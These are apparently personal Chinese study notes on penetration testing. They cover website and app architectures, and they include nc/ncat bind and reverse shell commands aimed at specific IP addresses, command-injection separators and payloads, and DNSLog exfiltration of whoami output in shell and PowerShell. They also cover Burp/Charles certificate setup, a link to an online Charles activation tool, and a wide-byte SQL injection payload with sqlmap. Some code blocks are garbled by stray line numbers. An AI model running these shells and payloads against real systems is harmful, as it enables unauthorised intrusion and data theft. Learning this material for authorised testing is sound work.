渗透基本学习
1&2
网站搭建子域名模式:
www.zxj.com zblog asp程序
zxj.zxj999.com wordpress psp程序
bbs.zxj999.com 论坛 dz程序
oa.zxj999.com OA 通达OA
端口
可能默认端口会改变
目录模式:
源码下的多个目录表示不同页面
常规化
原理:源码数据都在同一个服务器
影响:无,正常思路手法即可
站库分离:
如果在云上的数据库的话,可以做到只限制网站服务器和数据库服务器进行连接。
还有可能数据是保存在oss(对象存储)里面的。
影响:数据单独存放,能连接才可能影像数据。
前后端分离
原理:前端JS框架,API传输数据
影响:
- 前端页面大部分不存在漏洞
- 后台管理大部分不在同域名
- 获得权限可能不影响后端
宝塔+PHPstudy
原理:打包类集成化环境,权限配置或受控制
影响:攻击者权限对比区别
宝塔搭建:
- 拿到权限后,文件管理会锁定目录,无法执行命令
phpstudy:
- 拿到权限后,可以执行命令,无安全性
IIS自建:
- 拿到权限后,可以执行一些命令,但无法返回上上级目录,有一定的安全性
开源代码:
开源代码可见
开源代码不可见:
- 加密
- 语言特性决定(变成乱码)
路径访问:mvc源码 java python
URL和文件目录对应不上,要根据配置路由决定
静态web:
- 大学学的html设计的网站
- 原理:数据没有传输性
- 影响:无漏洞
托管/申请:
- 利用别人域名模板建立
- 实质安全测试非目标资产
3
CDN:
- 原理:内容分发服务,旨在提高访问速度
- 影响:隐藏真实源IP,导致目标测试错误
- 演示:阿里云备案域名全局CDN加速服务
OSS等第三方存储:
- 因为静态文件会占用大量带宽,同时影响加载速度和存储空间,所以使用第三方存储
- 影响:上传的漏洞利用不了,文件解析的url不一样,但存在Accesskey隐患
反向代理:
- 正向代理为客户端服务,客户端主动建立代理访问目标(不代理不可达)
- 反向代理为服务端服务,服务端主动转发数据给可访问地址(不主动不可达)
- 所以反向代理中会多出一个重定向解析的功能操作,导致反代理处的站点指向和真实应用毫无关系
负载均衡:
- 多个节点同时提供服务
- 影响:有可能上传的一个文件在进行测试时连到的是另一个没有上传到文件的节点
4
APP应用开发架构:
- 原生开发:
- 安卓一般使用java语言开发,当然现在也有kotlin语言进行开发,简单描述就是安卓提供一系列空间来实现页面,复杂点的页面通过自定义控件来实现(IDEA)。
- remusic项目源码
- 安全影响:反编译提取源码&抓包&提取源码中的资产进行常规测试
- 使用H5&Vue语言开发
- 使用H5开发的好处有很多,可多端复用,比如浏览器端,ios端,当然H5开发的体验是没
有原生好的。结合我做过的项目来说,一般是这个页面需要分享出去的话,就用H5开发(HBuilderX)。 - 安全影响:前后端分离&API&JS框架安全问题&JS前端测试
- 使用H5开发的好处有很多,可多端复用,比如浏览器端,ios端,当然H5开发的体验是没
- 使用flutter开发
- flutter是近年来谷歌推出的一款UI框架,使用dart语言进行开发,支持跨平台,weight渲染直接操作硬件层,体验可美原生。但是flutter技术比较新,生态还不完善,开发起来效率相对偏低。
- 常规web开发
- Web app软件开发简单地说,就是开发一个网站,然后加入app的壳。web App一般非常小,内容都是app内的网页展示,受制于网页技术本身,可实现功能少,而且每次打开,几乎所有的内容都需要重新加载,所以反应速度慢,内容加载过多就容易卡死,用户体验差,而且app内的交互设计等非常有效。但开发周期长端,需要的技术人员少,成本低。
- 安全影响:常规web安全测试
- WX小程序-开发架构-H5&Vue-HBuilderX
- 安全影响:API&JS框架安全问题
5
文件下载命令/反弹shell:
- 棱角社区
- 文件下载:[~]#棱角 ::Edge.Forum*
- 反弹shell:[~]#棱角 ::Edge.Forum*
反弹shell:
解决数据回显&解决数据通信
为什么需要反弹shell:如果是一直在网页进行测试的话,会一直有数据传输,可能会被检测异常,反弹shell后相当于直接在服务器上执行
正向连接(主动连接,本地监听,等待连接):
Linux->Windows:
//绑定CMD到本地5566端口(Windows执行)
```sh
nc -e cmd -lvp 55661
2
3
4
5
+ 主动链接目标5566
+ ```sh
ncat 47.122.23.131 5566
Windows控制Linux
绑定sh到本地5566端口(Linux执行)
```sh
ncat -e /bin/sh -lvp 55661
2
3
4
5
+ 主动连接目标5566
+ ```sh
nc 47.94.236.117 5566
反向链接(主动给出去,对方监听):
Windows->Linux绑定sh到5566端口
```sh
ncat -e /bin/sh 47.122.23.131 55661
2
3
4
5
+ 等待5566连接
+ ```sh
nc -lvvp 5566Linux->Windows
绑定cmd到Linux的5566端口
```sh
ncat -e cmd 47.94.236.117 55661
2
3
4
5
+ Linux连接
+ ```sh
nc -lvvp 5566
防火墙绕过-正向连接&反向连接&内网服务器:
管道符:
|(管道符号)||(逻辑或)&&(逻辑与)&(后台任务符号)
Windows:| & || &&
Linux:; (特有)|| & && ``(特有)
例子:
ping -c 1 127.0.0.1 | whoami
只会执行后面的root

ping -c 1 127.0.0.1 || whoami
两个都会执行但是可能得执行多次whoami命令才会显示结果
ping -c 1 127.0.0.1 & whoami
两条都执行

ping
whoami
ping ;whoami

思路:判断是否为Windows->Windows没有自带的nc->想办法上传nc 反弹shell

防火墙规则:
- 如果入站端口被限制了,那就通过服务器反向连接
- 如果出站端口被限制了,一般来说就算通过正向也不行,因为出站的限制更严格,可能单独限制某个出站端口的限制,但是同时可能也会限制此端口的入站限制。
如果遇到命令执行但是不会回显数据的:
1、直接反弹shell,反向连接
2、带外查询(DNSLog)
1
ping `whoami`.e24a3.dnslog.cn

但是如果目标是Windows的话,是不能使用``命令的,此时可以用变量来解决(要使用powershell)
1
2
3
4
5$x=whoami; #如果存在/的话也会导致DNSLog ping不通
$xx=$x.replace('\','xxxx');
$y='.tnwtkr.dnslog.cn';
$z=$xx+$y;
ping $z;

6
安装Charles,在Mumu模拟器安装Charles证书。
激活工具(在线):https://www.zzzmode.com/mytools/charles/
charles抓包工具激活方法&使用_charles在线激活-CSDN博客
mumu 模拟器 & 安装charles证书 & adb 连接 & frida-server监控等配置过程合集_mumu模拟器安装证书-CSDN博客
网易mumu模拟器安装下载charles的CA证书 - 悟透 - 博客园
openssl签发证书后后缀改为.0

frida之前安装过了,这里直接进入路径就好
1 | abd shell |
1 | cd /data/local/tmp |
然后再开一个shell
1 | abd shell |

Mumu导入burp的CA证书:
因为高版本的安卓不能直接安装CA证书,所以这里的安装步骤也很之前差不多。
Burpsuite+MuMu模拟器12抓包_mumu模拟器burp-CSDN博客
选择代理中的选项部分,导出CA证书,选择der的证书,命名为burp.der。
先添加本地ip的情况

然后使用openssl签发证书
1 | openssl x509 -inform der -in burp.der -out burp.pem |
1 | openssl x509 -subject_hash_old -in burp.pem |

然后后缀改为.0

然后adb传到/etc/security/cacerts/目录下
1 | adb connect 127.0.0.1:16384 |
通过茶杯转发到burpsuit:
在Proxy->External Proxy Settings设置Web Proxy为127.0.0.1 8080

宽字节注入原理
宽字节注入是sql注入的一种手段,利用mysql使用GBK编码(因为GBK占用2个字节,而ascii占用1个字节),将两个字符看作一个汉字,从而消除转义字符\。(当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。)
以下是个人总结对%df的理解
为什么使用%df
不一定使用%df,但前一个字节ascii码要大于128才到汉字的范围。
为什么那么多人都用%df
and被php转义后就是%df
逃逸过程
php.ini中有一个get_magic_quotes_gpc功能,在开启时所有的 ‘ (单引号), “ (双引号), \ (反斜线) and 空字符会自动加上转义符\。
以’单引号为例,如何使'中的’逃逸出来:
?id=1%df’ and 1=1–+
%df’=>%df'(单引号会被加上转义字符\)
%df'=>%df%5c’(\的十六进制为%5c)
%df%5c’=>縗’(GBK编码时会认为这时一个宽字节)
‘成功逃逸,sql语法正确
sqlmap中同时也存在宽字节绕过的脚本unmagicquotes.py,使用方式如下:
sqlmap -u "ip" --tamper="unmagicquotes.py" --batch
友情链接随意删除文件,修改linkid

